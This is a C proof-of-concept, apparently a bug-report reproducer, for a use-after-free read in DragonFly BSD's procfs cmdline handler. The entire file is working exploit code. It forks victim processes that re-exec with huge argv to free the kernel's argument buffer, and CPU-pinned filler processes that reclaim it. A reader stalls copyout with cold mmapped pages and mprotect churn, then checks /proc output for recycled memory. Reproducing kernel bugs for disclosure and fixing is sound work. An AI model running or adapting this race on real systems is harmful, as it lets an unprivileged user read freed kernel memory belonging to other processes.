/*
 * DF-3235 - procfs_docmdline() use-after-free read of struct pargs
 * (sys/vfs/procfs/procfs_status.c:236-243 + 292)
 *
 * Race:
 *   reader (unpriv) : read("/proc/<victim>/cmdline") into a file-backed,
 *                     forced-non-resident page.  procfs_docmdline() captures
 *                     bp = p->p_args->ar_args under p_token, then blocks in
 *                     uiomove()'s copyout() page fault.  Blocking drops all
 *                     LWKT tokens (sys/kern/lwkt_token.c:40).
 *   victim (unpriv) : execve() with huge argv -> kern_exec.c:589-596 frees
 *                     p_args (no realloc: argv > ps_arg_cache_limit=256).
 *   filler (unpriv) : execve() with ~200-byte MARKER argv -> kmalloc(M_PARGS)
 *                     recycles the freed chunk, overwrites it with MARKER.
 *   reader resumes  : uiomove copies the freed-and-recycled chunk to
 *                     userland -> MARKER returned from /proc/<victim>/cmdline.
 *                     The victim NEVER has MARKER in its argv, so a MARKER
 *                     result is impossible without reading freed memory.
 *
 * victim+filler are pinned to the same CPU (usched_set) so the filler's
 * kmalloc sees the victim's kfree through the per-CPU magazine.  A blocker
 * process churns the same backing-file page (MAP_SHARED) so the reader's
 * copyout fault collides with an in-progress fault and really sleeps.
 *
 * Build:  cc -O2 -Wall -o racer racer.c
 * Run:    ./racer [seconds] [nfillers]
 */

#include <errno.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <pthread.h>
#include <setjmp.h>

#define MARKER		"ZMQ7KmarkerCHUNK9q1X"
#define BACKING		"/home/maxx/.racer_backing"
#define PAGEADDR	((char *)0x380000000UL)
#define BLOCKADDR	((char *)0x390000000UL)
#define SMALLPAD	150	/* argv string bytes; 8+~180 -> 256 bucket */
#define BIGPAD		6000	/* > ps_arg_cache_limit => p_args freed, NULL */
#define USCHED_SET_CPU	1
#define SYS_usched_set	481

static double now(void)
{
	struct timeval tv;
	gettimeofday(&tv, NULL);
	return tv.tv_sec + tv.tv_usec / 1e6;
}

static void msleep_us(unsigned lo, unsigned hi)
{
	usleep(lo + random() % (hi - lo));
}

static void pin_me(int cpu)
{
	syscall(SYS_usched_set, 0, USCHED_SET_CPU, &cpu);
}

static void fill(char *s, int n, char c)
{
	int i;
	for (i = 0; i < n - 1; i++)
		s[i] = c;
	s[n - 1] = 0;
}

/*
 * victim image: argv = { prog, "victim", phase, pad, NULL }
 *   A-image: small argv -> exec caches pargs (256-bucket chunk)
 *   B-image: big argv   -> exec FREES pargs and does NOT realloc
 */
static void victim_main(char **av)
{
	char padA[SMALLPAD + 8], padB[BIGPAD + 8];
	const char *prog = av[0];

	fill(padA, sizeof(padA), 'A');
	fill(padB, sizeof(padB), 'B');

	for (;;) {
		char *avA[5], *avB[5];
		int ph = (av[2] && av[2][0] == 'B') ? 0 : 1;

		if (ph) {			/* A-image: run, then exec B */
			msleep_us(100, 1200);
			avB[0] = (char *)prog; avB[1] = "victim";
			avB[2] = "B"; avB[3] = padB; avB[4] = NULL;
			execve(prog, avB, NULL);
		} else {			/* B-image: run, then exec A */
			msleep_us(100, 1200);
			avA[0] = (char *)prog; avA[1] = "victim";
			avA[2] = "A"; avA[3] = padA; avA[4] = NULL;
			execve(prog, avA, NULL);
		}
		_exit(9);	/* exec failed */
	}
}

/*
 * filler image: argv = { prog, "filler", MARKER-pad ~200, NULL }
 * Every exec allocates a fresh pargs (256 bucket) containing MARKER and
 * frees the previous one -> M_PARGS churn recycling the victim's chunk.
 */
static void filler_main(char **av)
{
	const char *prog = av[0];
	/*
	 * Tune the pad so the cached argv byte count EXACTLY equals the
	 * victim's (184 = 17 + 7 + 2 + 158): identical kmalloc chunk
	 * (8 + 184 -> 192-byte slab zone), guaranteed recycling.
	 */
	char pad[160];
	int n, i;

	n = snprintf(pad, sizeof(pad), "%s", MARKER);
	for (i = n; i < (int)sizeof(pad) - 1; i++)
		pad[i] = 'F';
	pad[i] = 0;

	for (;;) {
		char *af[4];
		usleep(100 + random() % 400);
		af[0] = (char *)prog; af[1] = "filler";
		af[2] = pad; af[3] = NULL;
		execve(prog, af, NULL);
		_exit(9);
	}
}

/*
 * blocker: keep the backing vnode page churning (MAP_SHARED) so that the
 * reader's copyout fault on the same page collides and sleeps on page busy.
 */
static void blocker_main(void)
{
	int bf = open(BACKING, O_RDWR);
	char *p;

	if (bf < 0)
		_exit(9);
	p = mmap(BLOCKADDR, 4096, PROT_READ | PROT_WRITE,
		 MAP_SHARED | MAP_FIXED, bf, 0);
	if (p == MAP_FAILED)
		_exit(9);
	for (;;) {
		madvise(p, 4096, MADV_DONTNEED);
		p[0] = (char)random();
		p[2048] = (char)random();
	}
}

/*
 * churn thread (inside the reader process): alternately protects a large
 * anon region NONE/RW.  Each mprotect write-locks the vm_map for a long
 * time (PTE teardown of 64K pages), so the reader thread's copyout fault
 * blocks acquiring the map token -> LWKT block -> all tokens (incl. the
 * victim's p_token held by procfs_rw) are released -> UAF window.
 */
#define CHURN_BASE	((char *)0x400000000UL)
#define CHURN_SIZE	(256UL * 1024 * 1024)

static void *churn_thread(void *arg __unused)
{
	for (;;) {
		mprotect(CHURN_BASE, CHURN_SIZE, PROT_NONE);
		mprotect(CHURN_BASE, CHURN_SIZE, PROT_READ | PROT_WRITE);
	}
	return NULL;
}

static void *xmemmem(const void *hay, size_t hn, const void *ned, size_t nn)
{
	const char *h = hay, *n = ned;
	size_t i;

	if (nn == 0)
		return (void *)h;
	for (i = 0; i + nn <= hn; i++)
		if (h[i] == n[0] && memcmp(h + i, n, nn) == 0)
			return (void *)(h + i);
	return NULL;
}

/*
 * The destination page sits inside the churn region, so userland access to
 * it can SIGSEGV while the churn thread holds it PROT_NONE.  Guard the
 * post-read scan with sigsetjmp (kernel copyout on PROT_NONE just returns
 * EFAULT - no signal - but our own scan is not so lucky).
 */
static sigjmp_buf scan_jmp;
static void scan_segv(int sig __unused)
{
	siglongjmp(scan_jmp, 1);
}

/*
 * Reader destination: a fresh, never-touched 4K window of a 1.2GB
 * hammer2-backed file is mmap'd (MAP_FIXED) before every read, so the
 * copyout inside uiomove takes a guaranteed cold page fault -> real
 * disk I/O -> sleep -> all LWKT tokens (incl. p_token) released.
 */
#define BIGFILE		"/home/maxx/.racer_big"
#define BIGSIZE		(3520UL * 1024 * 1024)
#define MAPBASE		((char *)0x380000000UL)
#define NIOV		184			/* 1 byte per iovec */
#define STRIDE_PAGES	64			/* beyond readahead */
#define REGION_SIZE	(NIOV * STRIDE_PAGES * 4096UL)
static char gathered[NIOV + 16];

static int reader_main(pid_t vpid, double tmo, int *stats)
{
	char path[64], *page;
	int fd, n, bf;
	double t0 = now(), trd;
	off_t off;
	struct iovec iov[NIOV];
	int i;

	snprintf(path, sizeof(path), "/proc/%d/cmdline", (int)vpid);

	bf = open(BIGFILE, O_RDONLY);
	if (bf < 0) {
		perror("open bigfile");
		return -1;
	}
	for (i = 0; i < NIOV; i++) {
		iov[i].iov_base = MAPBASE + (size_t)i * STRIDE_PAGES * 4096;
		iov[i].iov_len = 1;
	}
	page = mmap(MAPBASE, REGION_SIZE, PROT_READ | PROT_WRITE,
		    MAP_PRIVATE | MAP_FIXED, bf, 0);
	if (page == MAP_FAILED) {
		perror("mmap");
		return -1;
	}
	signal(SIGSEGV, scan_segv);

	for (;;) {
		fd = open(path, O_RDONLY);
		if (fd < 0) {
			usleep(10000);
			continue;
		}
		lseek(fd, 0, SEEK_SET);
		/* fresh cold strided region for this iteration */
		off = (off_t)(random() % (BIGSIZE - REGION_SIZE - 4096)) &
		    ~4095LL;
		page = mmap(MAPBASE, REGION_SIZE, PROT_READ | PROT_WRITE,
			    MAP_PRIVATE | MAP_FIXED, bf, off);
		if (page == MAP_FAILED) {
			stats[3]++;
			close(fd);
			continue;
		}
		trd = now();
		n = readv(fd, iov, NIOV);
		trd = now() - trd;
		if (sigsetjmp(scan_jmp, 1) == 0) {
			/* gather the scattered bytes */
			for (i = 0; i < n && i < NIOV; i++)
				gathered[i] =
				    *(volatile char *)iov[i].iov_base;
			if (n > 0) {
				stats[2]++;
				if (xmemmem(gathered, n, MARKER, strlen(MARKER))) {
					int i;
					printf("[reader %d] HIT: %d bytes "
					    "from /proc/%d/cmdline "
					    "(%.2fms):\n", getpid(), n,
					    (int)vpid, trd * 1e3);
					for (i = 0; i < n && i < 300; i++)
						putchar((gathered[i] >= 32 &&
							 gathered[i] < 127)
							    ? gathered[i] : '.');
					printf("\n");
					fflush(stdout);
					return 42;
				} else if (n > 16) {
					int i, j, ok = 1, frun = 0, mrun = 0;
					stats[0]++;	/* p_args read */
					if (trd > 0.0002)
						stats[4]++;	/* slow */
					/*
					 * legit content: whatever the
					 * argv[0..2] prefix is, the tail
					 * is all 'A' (victim pad).  Any
					 * run of 'F' (filler pad) or the
					 * MARKER = bytes read from a
					 * recycled pargs chunk = UAF.
					 */
					for (i = (n > 100 ? n - 100 : 26);
					     i < n - 1; i++) {
						if (gathered[i] != 'A') {
							ok = 0;
							break;
						}
					}
					for (i = 26; i < n - 1; i++) {
						if (gathered[i] == 'F') {
							if (++frun >= 8)
								mrun = 1;
						} else {
							frun = 0;
						}
					}
					if (xmemmem(gathered, n, MARKER,
						   strlen(MARKER)))
						mrun = 1;
					if (mrun) {
						printf("[reader %d] HIT: %dB "
						    "%.2fms: ", getpid(), n,
						    trd * 1e3);
						for (j = 0; j < n && j < 200;
						     j++)
							putchar((gathered[j] >= 32 &&
								 gathered[j] < 127)
							     ? gathered[j]
							     : '.');
						printf("\n");
						fflush(stdout);
						return (42);
					}
					if (!ok) {
						stats[5]++;
						if (stats[5] <= 5) {
							printf("[reader %d] "
							    "ANOMALY: %dB "
							    "%.2fms: ",
							    getpid(), n,
							    trd * 1e3);
							for (j = 0;
							     j < n && j < 200;
							     j++)
								putchar((gathered[j] >= 32 &&
									 gathered[j] < 127)
								     ? gathered[j]
								     : '.');
							printf("\n");
							fflush(stdout);
						}
					}
				} else {
					stats[1]++;	/* p_comm read */
				}
				(void)page;
			} else {
				stats[3]++;	/* EFAULT / error */
			}
		} else {
			stats[3]++;	/* SIGSEGV mid-scan (should not happen) */
		}
		close(fd);
		if (now() - t0 > tmo)
			break;
	}
	printf("[reader %d] timeout: args=%d(slow=%d,anom=%d) comm=%d "
	    "err=%d total=%d\n", getpid(), stats[0], stats[4], stats[5],
	    stats[1], stats[3], stats[2]);
	fflush(stdout);
	return 7;
}

int main(int argc, char **argv)
{
	pid_t vic, fil[6], rd[2];
	int st, i, nf = 4, secs = 180;
	int st0[6] = {0,0,0,0,0,0}, st1[6] = {0,0,0,0,0,0};
	double t0;
	int rc = -1, done = 0;
	pid_t w;

	if (argc > 1)
		secs = atoi(argv[1]);
	if (argc > 2)
		nf = atoi(argv[2]);
	if (argc >= 4 && strcmp(argv[1], "victim") == 0) {
		victim_main(argv);
		_exit(8);
	}
	if (argc >= 3 && strcmp(argv[1], "filler") == 0) {
		filler_main(argv);
		_exit(8);
	}

	srandom(getpid());
	signal(SIGCHLD, SIG_DFL);

	{
		int bf = open(BACKING, O_RDWR | O_CREAT, 0600);
		char z[4096];
		memset(z, 0x5a, sizeof(z));
		pwrite(bf, z, sizeof(z), 0);
		fsync(bf);
		close(bf);
	}

	vic = fork();
	if (vic == 0) {
		pin_me(1);
		victim_main(argv);
	}
	for (i = 0; i < nf; i++) {
		fil[i] = fork();
		if (fil[i] == 0) {
			pin_me(1 + (i & 1));	/* cpus 1..2 with the victim */
			filler_main(argv);
		}
	}
	printf("controller: victim=%d (cpu1) fillers=%d (cpu1-2) timeout=%ds\n",
	    (int)vic, nf, secs);
	fflush(stdout);
	t0 = now();

	for (i = 0; i < 2; i++) {
		rd[i] = fork();
		if (rd[i] == 0)
			_exit(reader_main(vic, secs - 2, i ? st1 : st0));
	}

	while (!done && now() - t0 < secs + 5) {
		for (i = 0; i < 2; i++) {
			w = waitpid(rd[i], &st, WNOHANG);
			if (w == rd[i] && WIFEXITED(st) &&
			    WEXITSTATUS(st) == 42) {
				rc = 42;
				done = 1;
			}
		}
		if (!done)
			usleep(20000);
	}
	if (rc == 42) {
		printf("RESULT: UAF-READ REPRODUCED "
		    "(MARKER from recycled pargs chunk)\n");
	} else {
		waitpid(rd[0], &st, 0);
		waitpid(rd[1], &st, 0);
		printf("RESULT: no hit within timeout\n");
	}
	fflush(stdout);
	sleep(1);
	kill(0, SIGKILL);
	_exit(rc == 42 ? 0 : 1);
}
